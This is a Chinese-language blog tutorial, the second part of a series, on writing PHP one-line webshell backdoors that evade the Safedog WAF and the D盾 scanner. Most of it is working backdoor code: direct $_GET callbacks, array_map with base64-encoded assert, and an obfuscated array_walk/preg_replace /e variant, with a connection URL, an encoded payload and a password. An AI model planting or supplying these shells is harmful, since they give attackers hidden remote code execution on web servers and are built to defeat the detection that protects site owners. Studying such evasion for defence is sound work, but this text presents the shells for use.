php一句话后门过狗姿势万千之后门构造与隐藏【二】

声明：

本文由博主首发于：阿里先知 https://xianzhi.aliyun.com/forum/read/441.html

如需要转载，请先联系先知技术社区授权；未经授权请勿转载。

上一篇：php一句话后门过狗姿势万千之理论篇【一】

第二章节主要带给大家一些后门构造思路，与安全狗文件特征检测的机制。

另外强调一下，这篇文章需要大家对于php有一定的认识。

本章节分为三大部分，第一部分针对初级，分析菜刀php代码的执行过程，较基础；第二部分主要总结一些可以利用的后门姿势，这部分我主要给大家分享一些搜集的后门，希望可以拓展大家的思路；第三部分主要分享后门隐藏之道。

声明：在后门举例中大部分后门构造与思路，可能网上都有类似的，如有雷同，来打我呀！

目前主流的waf软件（如安全狗）一般对于后门文件有主动查杀与被动查杀，主动好理解，被动主要就在于你访问该文件的时候，对该文件就行查杀，比如链接菜刀的时候。

因为安全狗对后门的查杀其实就是对代码的一个预编译，去除注释等无用代码，遇到if，直接检查if内部内容。

安全狗获取其他各种waf有什么样的特征库，我们并不能全部知晓，我们能做的只有一点点尝试，WAF永远在更新，黑阔门永远在换套路，几乎没有一劳永逸的后门。

说明：如果想更好的过狗，那么php是必须要会的，为了尽量照顾到不会php的同学，本文分享一些猥琐思路弥补一下。

先来一个最简单的过狗后门

下面分享的几个一句话都是可以直接过狗的，虽然很简单，但此之前，我们来遛一遛狗。

<?php $_GET[a]($_GET[b]);?>

这句话已经可以执行一切命令了，但是必然被杀，

我们可以用extract函数简单的处理下请求的数据

当然，想要完美过狗，执行更多命令，还需要数据层加工，详情参考第三章。

经典的回调函数

很多时候并不是给变量多一层加密就安全，其实很多waf对base64_decode相当敏感。

例如：

@array_map(base64_decode($_REQUEST[‘xx’]),(array)base64_decode($_REQUEST[‘sofia’]));

原理分析：xx参数直接传入一个assert函数，sofia参数传入assert(eval(‘执行代码’))。

直接暴出array_map后门，试试去掉base64？

没错，就这么简单，最危险的地方就是最安全的地方，起码文件特征安全狗确实没有检测出来。

然而这个一句话D盾是四级的，因为稍微懂点的人都能看出来是个后门。

但是距离实际意义上的过狗还是远远不够的，还需要数据层加工，详情参考第三章。之后你会发现，就这个一句话修改下post数据，可以完整过狗。

不卖关子：

@array_map(assert,(array)base64_decode($_REQUEST[‘sofia’]));

连接方法：test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码：vuln

再来一个回调后门

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',); 
@array_walk($arr, $_clasc, '');
?>
这是我之前修改过的一个版本，这里用的其实还是preg_replace后门，也是通过回调函数来实现执行，同样可以过：

详解：
带入参数：

vuln=cHJlZ19yZXBsYWNl(preg_replace)

sofia=cGhwaW5mbygp(phpinfo())

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>

网上有很多现成的回调函数或者其他方式来过特征检测，再这里就不重复造轮子了。